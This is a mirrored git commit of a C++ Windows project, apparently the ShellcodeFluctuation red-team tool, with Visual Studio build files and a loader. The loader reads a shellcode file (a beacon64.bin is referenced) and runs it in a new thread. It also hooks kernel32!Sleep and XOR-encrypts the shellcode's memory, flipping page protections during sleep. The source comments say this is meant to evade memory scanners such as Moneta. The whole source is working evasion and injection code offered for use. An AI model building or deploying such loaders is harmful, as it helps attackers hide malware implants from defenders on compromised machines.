mirror of
https://github.com/mgeeky/ShellcodeFluctuation
synced 2026-06-06 16:14:31 +00:00
first
This commit is contained in:
@@ -0,0 +1,156 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{9eed9e19-9475-4d2e-9b06-37d6799417fe}</ProjectGuid>
|
||||
<RootNamespace>ShellcodeFluctuation</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<ControlFlowGuard>false</ControlFlowGuard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="header.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,27 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="header.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LocalDebuggerCommandArguments>d:\dev2\ShellcodeFluctuation\tests\beacon64.bin 1</LocalDebuggerCommandArguments>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,64 @@
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
#include <iomanip>
|
||||
#include <vector>
|
||||
|
||||
typedef void (WINAPI* typeSleep)(
|
||||
DWORD dwMilis
|
||||
);
|
||||
|
||||
typedef std::unique_ptr<std::remove_pointer<HANDLE>::type, decltype(&::CloseHandle)> HandlePtr;
|
||||
|
||||
struct FluctuationMetadata
|
||||
{
|
||||
LPVOID shellcodeAddr;
|
||||
SIZE_T shellcodeSize;
|
||||
DWORD protect;
|
||||
bool currentlyEncrypted;
|
||||
DWORD encodeKey;
|
||||
};
|
||||
|
||||
struct HookedSleep
|
||||
{
|
||||
typeSleep origSleep;
|
||||
BYTE sleepStub[16];
|
||||
};
|
||||
|
||||
struct HookTrampolineBuffers
|
||||
{
|
||||
// (Input) Buffer containing bytes that should be restored while unhooking.
|
||||
BYTE* originalBytes;
|
||||
DWORD originalBytesSize;
|
||||
|
||||
// (Output) Buffer that will receive bytes present prior to trampoline installation/restoring.
|
||||
BYTE* previousBytes;
|
||||
DWORD previousBytesSize;
|
||||
};
|
||||
|
||||
|
||||
template<class... Args>
|
||||
void log(Args... args)
|
||||
{
|
||||
std::stringstream oss;
|
||||
(oss << ... << args);
|
||||
|
||||
std::cout << oss.str() << std::endl;
|
||||
}
|
||||
|
||||
static const DWORD Shellcode_Memory_Protection = PAGE_EXECUTE_READ;
|
||||
|
||||
bool hookSleep();
|
||||
bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr& thread);
|
||||
bool readShellcode(const char* path, std::vector<uint8_t>& shellcode);
|
||||
std::vector<MEMORY_BASIC_INFORMATION> collectMemoryMap(HANDLE hProcess, DWORD Type = MEM_PRIVATE | MEM_MAPPED);
|
||||
void initializeShellcodeFluctuation(const LPVOID caller);
|
||||
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers = NULL);
|
||||
void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey);
|
||||
bool isShellcodeThread(LPVOID address);
|
||||
void shellcodeEncryptDecrypt(LPVOID callerAddress);
|
||||
void relocateShellcode(const LPVOID caller, LPVOID addressOfRetAddr);
|
||||
|
||||
void WINAPI MySleep(DWORD _dwMilliseconds);
|
||||
@@ -0,0 +1,453 @@
|
||||
|
||||
#include "header.h"
|
||||
#include <intrin.h>
|
||||
#include <random>
|
||||
|
||||
HookedSleep g_hookedSleep;
|
||||
FluctuationMetadata g_fluctuationData;
|
||||
bool g_fluctuate = false;
|
||||
|
||||
|
||||
void WINAPI MySleep(DWORD dwMilliseconds)
|
||||
{
|
||||
const LPVOID caller = (LPVOID)_ReturnAddress();
|
||||
|
||||
//
|
||||
// Dynamically determine where the shellcode resides.
|
||||
// Of course that we could reuse information collected in `injectShellcode()`
|
||||
// right after VirtualAlloc, however the below invocation is a step towards
|
||||
// making the implementation self-aware and independent of the loader.
|
||||
//
|
||||
initializeShellcodeFluctuation(caller);
|
||||
|
||||
//
|
||||
// Encrypt (XOR32) shellcode's memory allocation and flip its memory pages to RW
|
||||
//
|
||||
shellcodeEncryptDecrypt(caller);
|
||||
|
||||
|
||||
log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");
|
||||
|
||||
HookTrampolineBuffers buffers = { 0 };
|
||||
buffers.originalBytes = g_hookedSleep.sleepStub;
|
||||
buffers.originalBytesSize = sizeof(g_hookedSleep.sleepStub);
|
||||
|
||||
//
|
||||
// Unhook kernel32!Sleep to evade hooked Sleep IOC.
|
||||
// We leverage the fact that the return address left on the stack will make the thread
|
||||
// get back to our handler anyway.
|
||||
//
|
||||
fastTrampoline(false, (BYTE*)::Sleep, &MySleep, &buffers);
|
||||
|
||||
// Perform sleep emulating originally hooked functionality.
|
||||
::Sleep(dwMilliseconds);
|
||||
|
||||
//
|
||||
// Decrypt (XOR32) shellcode's memory allocation and flip its memory pages back to RX
|
||||
//
|
||||
shellcodeEncryptDecrypt(caller);
|
||||
|
||||
//
|
||||
// Re-hook kernel32!Sleep
|
||||
//
|
||||
fastTrampoline(true, (BYTE*)::Sleep, &MySleep);
|
||||
}
|
||||
|
||||
std::vector<MEMORY_BASIC_INFORMATION> collectMemoryMap(HANDLE hProcess, DWORD Type)
|
||||
{
|
||||
std::vector<MEMORY_BASIC_INFORMATION> out;
|
||||
const size_t MaxSize = (sizeof(ULONG_PTR) == 4) ? ((1ULL << 31) - 1) : ((1ULL << 63) - 1);
|
||||
|
||||
uint8_t* address = 0;
|
||||
while (reinterpret_cast<size_t>(address) < MaxSize)
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
|
||||
if (!VirtualQueryEx(hProcess, address, &mbi, sizeof(mbi)))
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
if ((mbi.Protect == PAGE_EXECUTE_READWRITE || mbi.Protect == PAGE_EXECUTE_READ || mbi.Protect == PAGE_READWRITE)
|
||||
&& ((mbi.Type & Type) != 0))
|
||||
{
|
||||
out.push_back(mbi);
|
||||
}
|
||||
|
||||
address += mbi.RegionSize;
|
||||
}
|
||||
|
||||
return out;
|
||||
}
|
||||
|
||||
void initializeShellcodeFluctuation(const LPVOID caller)
|
||||
{
|
||||
if (g_fluctuate && g_fluctuationData.shellcodeAddr == nullptr && isShellcodeThread(caller))
|
||||
{
|
||||
auto memoryMap = collectMemoryMap(GetCurrentProcess());
|
||||
|
||||
//
|
||||
// Iterate over memory pages to find allocation containing the caller, being
|
||||
// presumably our Shellcode's thread.
|
||||
//
|
||||
for (const auto& mbi : memoryMap)
|
||||
{
|
||||
if (reinterpret_cast<uintptr_t>(caller) > reinterpret_cast<uintptr_t>(mbi.BaseAddress)
|
||||
&& reinterpret_cast<uintptr_t>(caller) < (reinterpret_cast<uintptr_t>(mbi.BaseAddress) + mbi.RegionSize))
|
||||
{
|
||||
// Store memory boundary of our shellcode somewhere globally.
|
||||
g_fluctuationData.shellcodeAddr = mbi.BaseAddress;
|
||||
g_fluctuationData.shellcodeSize = mbi.RegionSize;
|
||||
g_fluctuationData.protect = mbi.Protect;
|
||||
g_fluctuationData.currentlyEncrypted = false;
|
||||
|
||||
std::random_device dev;
|
||||
std::mt19937 rng(dev());
|
||||
std::uniform_int_distribution<std::mt19937::result_type> dist4GB(0, 0xffffffff);
|
||||
|
||||
// Use random 32bit key for XORing.
|
||||
g_fluctuationData.encodeKey = dist4GB(rng);
|
||||
|
||||
log("[+] Fluctuation initialized.");
|
||||
log(" Shellcode resides at 0x",
|
||||
std::hex, std::setw(8), std::setfill('0'), mbi.BaseAddress,
|
||||
" and occupies ", std::dec, mbi.RegionSize,
|
||||
" bytes. XOR32 key: 0x", std::hex, std::setw(8), std::setfill('0'), g_fluctuationData.encodeKey);
|
||||
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
log("[!] Could not initialize shellcode fluctuation!");
|
||||
::ExitProcess(0);
|
||||
}
|
||||
}
|
||||
|
||||
void xor32(uint8_t* buf, size_t bufSize, uint32_t xorKey)
|
||||
{
|
||||
uint32_t* buf32 = reinterpret_cast<uint32_t*>(buf);
|
||||
|
||||
auto bufSizeRounded = (bufSize - (bufSize % sizeof(uint32_t))) / 4;
|
||||
for (size_t i = 0; i < bufSizeRounded; i++)
|
||||
{
|
||||
buf32[i] ^= xorKey;
|
||||
}
|
||||
|
||||
for (size_t i = 4 * bufSizeRounded; i < bufSize; i++)
|
||||
{
|
||||
buf[i] ^= static_cast<uint8_t>(xorKey & 0xff);
|
||||
}
|
||||
}
|
||||
|
||||
bool isShellcodeThread(LPVOID address)
|
||||
{
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
if (VirtualQuery(address, &mbi, sizeof(mbi)))
|
||||
{
|
||||
//
|
||||
// To verify whether address belongs to the shellcode's allocation, we can simply
|
||||
// query for its type. MEM_PRIVATE is an indicator of dynamic allocations such as VirtualAlloc.
|
||||
//
|
||||
if (mbi.Type == MEM_PRIVATE)
|
||||
{
|
||||
return ((mbi.Protect & PAGE_EXECUTE_READWRITE)
|
||||
|| (mbi.Protect & PAGE_EXECUTE_READ)
|
||||
|| (mbi.Protect == PAGE_READWRITE));
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers)
|
||||
{
|
||||
#ifdef _WIN64
|
||||
uint8_t trampoline[] = {
|
||||
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
|
||||
0x41, 0xFF, 0xE2 // jmp r10
|
||||
};
|
||||
|
||||
uint64_t addr = (uint64_t)(jumpAddress);
|
||||
memcpy(&trampoline[2], &addr, sizeof(addr));
|
||||
#else
|
||||
uint8_t trampoline[] = {
|
||||
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, addr
|
||||
0xFF, 0xE0 // jmp eax
|
||||
};
|
||||
|
||||
uint32_t addr = (uint32_t)(jumpAddress);
|
||||
memcpy(&trampoline[1], &addr, sizeof(addr));
|
||||
#endif
|
||||
|
||||
DWORD dwSize = sizeof(trampoline);
|
||||
DWORD oldProt = 0;
|
||||
bool output = false;
|
||||
|
||||
if (installHook)
|
||||
{
|
||||
if (buffers != NULL)
|
||||
{
|
||||
if (buffers->previousBytes == nullptr || buffers->previousBytesSize == 0)
|
||||
return false;
|
||||
|
||||
memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize);
|
||||
}
|
||||
|
||||
if (::VirtualProtect(
|
||||
addressToHook,
|
||||
dwSize,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProt
|
||||
))
|
||||
{
|
||||
memcpy(addressToHook, trampoline, dwSize);
|
||||
output = true;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (buffers == NULL)
|
||||
return false;
|
||||
|
||||
if (buffers->originalBytes == nullptr || buffers->originalBytesSize == 0)
|
||||
return false;
|
||||
|
||||
dwSize = buffers->originalBytesSize;
|
||||
|
||||
if (::VirtualProtect(
|
||||
addressToHook,
|
||||
dwSize,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProt
|
||||
))
|
||||
{
|
||||
memcpy(addressToHook, buffers->originalBytes, dwSize);
|
||||
output = true;
|
||||
}
|
||||
}
|
||||
|
||||
::VirtualProtect(
|
||||
addressToHook,
|
||||
dwSize,
|
||||
oldProt,
|
||||
&oldProt
|
||||
);
|
||||
|
||||
return output;
|
||||
}
|
||||
|
||||
bool hookSleep()
|
||||
{
|
||||
HookTrampolineBuffers buffers = { 0 };
|
||||
buffers.previousBytes = g_hookedSleep.sleepStub;
|
||||
buffers.previousBytesSize = sizeof(g_hookedSleep.sleepStub);
|
||||
|
||||
g_hookedSleep.origSleep = reinterpret_cast<typeSleep>(::Sleep);
|
||||
|
||||
if (!fastTrampoline(true, (BYTE*)::Sleep, &MySleep, &buffers))
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void shellcodeEncryptDecrypt(LPVOID callerAddress)
|
||||
{
|
||||
if (g_fluctuate && g_fluctuationData.shellcodeAddr != nullptr && g_fluctuationData.shellcodeSize > 0)
|
||||
{
|
||||
if (!isShellcodeThread(callerAddress))
|
||||
return;
|
||||
|
||||
DWORD oldProt = 0;
|
||||
|
||||
if (!g_fluctuationData.currentlyEncrypted)
|
||||
{
|
||||
::VirtualProtect(
|
||||
g_fluctuationData.shellcodeAddr,
|
||||
g_fluctuationData.shellcodeSize,
|
||||
PAGE_READWRITE,
|
||||
&g_fluctuationData.protect
|
||||
);
|
||||
|
||||
log("[>] Flipped to RW. Encoding...");
|
||||
}
|
||||
else
|
||||
{
|
||||
log("[.] Decoding...");
|
||||
}
|
||||
|
||||
xor32(
|
||||
reinterpret_cast<uint8_t*>(g_fluctuationData.shellcodeAddr),
|
||||
g_fluctuationData.shellcodeSize,
|
||||
g_fluctuationData.encodeKey
|
||||
);
|
||||
|
||||
if (g_fluctuationData.currentlyEncrypted)
|
||||
{
|
||||
::VirtualProtect(
|
||||
g_fluctuationData.shellcodeAddr,
|
||||
g_fluctuationData.shellcodeSize,
|
||||
g_fluctuationData.protect,
|
||||
&oldProt
|
||||
);
|
||||
|
||||
log("[>] Flipped to RX.");
|
||||
}
|
||||
|
||||
g_fluctuationData.currentlyEncrypted = !g_fluctuationData.currentlyEncrypted;
|
||||
}
|
||||
}
|
||||
|
||||
bool readShellcode(const char* path, std::vector<uint8_t>& shellcode)
|
||||
{
|
||||
HandlePtr file(CreateFileA(
|
||||
path,
|
||||
GENERIC_READ,
|
||||
FILE_SHARE_READ,
|
||||
NULL,
|
||||
OPEN_EXISTING,
|
||||
0,
|
||||
NULL
|
||||
), &::CloseHandle);
|
||||
|
||||
if (INVALID_HANDLE_VALUE == file.get())
|
||||
return false;
|
||||
|
||||
DWORD highSize;
|
||||
DWORD readBytes = 0;
|
||||
DWORD lowSize = GetFileSize(file.get(), &highSize);
|
||||
|
||||
shellcode.resize(lowSize, 0);
|
||||
|
||||
return ReadFile(file.get(), shellcode.data(), lowSize, &readBytes, NULL);
|
||||
}
|
||||
|
||||
void runShellcode(LPVOID param)
|
||||
{
|
||||
auto func = ((void(*)())param);
|
||||
|
||||
//
|
||||
// Jumping to shellcode. Look at the coment in injectShellcode() describing why we opted to jump
|
||||
// into shellcode in a classical manner instead of fancy hooking
|
||||
// ntdll!RtlUserThreadStart+0x21 like in ThreadStackSpoofer example.
|
||||
//
|
||||
func();
|
||||
}
|
||||
|
||||
bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr &thread)
|
||||
{
|
||||
//
|
||||
// Firstly we allocate RW page to avoid RWX-based IOC detections
|
||||
//
|
||||
auto alloc = ::VirtualAlloc(
|
||||
NULL,
|
||||
shellcode.size() + 1,
|
||||
MEM_COMMIT,
|
||||
PAGE_READWRITE
|
||||
);
|
||||
|
||||
if (!alloc)
|
||||
return false;
|
||||
|
||||
memcpy(alloc, shellcode.data(), shellcode.size());
|
||||
|
||||
DWORD old;
|
||||
|
||||
//
|
||||
// Then we change that protection to RX
|
||||
//
|
||||
if (!VirtualProtect(alloc, shellcode.size() + 1, Shellcode_Memory_Protection, &old))
|
||||
return false;
|
||||
|
||||
/*
|
||||
* We're not setting these pointers to let the hooked sleep handler figure them out itself.
|
||||
*
|
||||
g_fluctuationData.shellcodeAddr = alloc;
|
||||
g_fluctuationData.shellcodeSize = shellcode.size();
|
||||
g_fluctuationData.protect = Shellcode_Memory_Protection;
|
||||
*/
|
||||
|
||||
shellcode.clear();
|
||||
|
||||
//
|
||||
// Example provided in https://github.com/mgeeky/ThreadStackSpoofer showed how we can start
|
||||
// our shellcode from temporarily hooked ntdll!RtlUserThreadStart+0x21 .
|
||||
//
|
||||
// That approached was a bit flawed due to the fact, the as soon as we introduce a hook within module,
|
||||
// even when we immediately unhook it the system allocates a page of memory (4096 bytes) of type MEM_PRIVATE
|
||||
// inside of a shared library allocation that comprises of MEM_IMAGE/MEM_MAPPED pool.
|
||||
//
|
||||
// Memory scanners such as Moneta are sensitive to scanning memory mapped PE DLLs and finding amount of memory
|
||||
// labeled as MEM_PRIVATE within their region, considering this (correctly!) as a "Modified Code" anomaly.
|
||||
//
|
||||
// We're unable to evade this detection for kernel32!Sleep however we can when it comes to ntdll. Instead of
|
||||
// running our shellcode from a legitimate user thread callback, we can simply run a thread pointing to our
|
||||
// method and we'll instead jump to the shellcode from that method.
|
||||
//
|
||||
thread.reset(::CreateThread(
|
||||
NULL,
|
||||
0,
|
||||
(LPTHREAD_START_ROUTINE)runShellcode,
|
||||
alloc,
|
||||
0,
|
||||
0
|
||||
));
|
||||
|
||||
return (NULL != thread.get());
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
log("Usage: ShellcodeFluctuation.exe <shellcode> <fluctuate>");
|
||||
log("<fluctuate>:\n\t-1 - Read shellcode but dont inject it. Run in an infinite loop.");
|
||||
log("\t0 - Inject the shellcode but don't hook kernel32!Sleep and don't encrypt anything");
|
||||
log("\t1 - Inject shellcode and start fluctuating its memory.");
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::vector<uint8_t> shellcode;
|
||||
bool dontInject = !strcmp(argv[2], "-1");
|
||||
if(!dontInject) g_fluctuate = (!strcmp(argv[2], "true") || !strcmp(argv[2], "1"));
|
||||
|
||||
log("[.] Reading shellcode bytes...");
|
||||
if (!readShellcode(argv[1], shellcode))
|
||||
{
|
||||
log("[!] Could not open shellcode file! Error: ", ::GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (g_fluctuate)
|
||||
{
|
||||
log("[.] Hooking kernel32!Sleep...");
|
||||
if (!hookSleep())
|
||||
{
|
||||
log("[!] Could not hook kernel32!Sleep!");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
log("[.] Shellcode will not fluctuate its memory pages protection.");
|
||||
}
|
||||
|
||||
if (dontInject)
|
||||
{
|
||||
log("[.] Entering infinite loop (not injecting the shellcode) for memory IOCs examination.");
|
||||
log("[.] PID = ", std::dec, GetCurrentProcessId());
|
||||
while (true) {}
|
||||
}
|
||||
|
||||
log("[.] Injecting shellcode...");
|
||||
|
||||
HandlePtr thread(NULL, &::CloseHandle);
|
||||
if (!injectShellcode(shellcode, thread))
|
||||
{
|
||||
log("[!] Could not inject shellcode! Error: ", ::GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
log("[+] Shellcode is now running. PID = ", std::dec, GetCurrentProcessId());
|
||||
|
||||
WaitForSingleObject(thread.get(), INFINITE);
|
||||
}
|
||||
Reference in New Issue
Block a user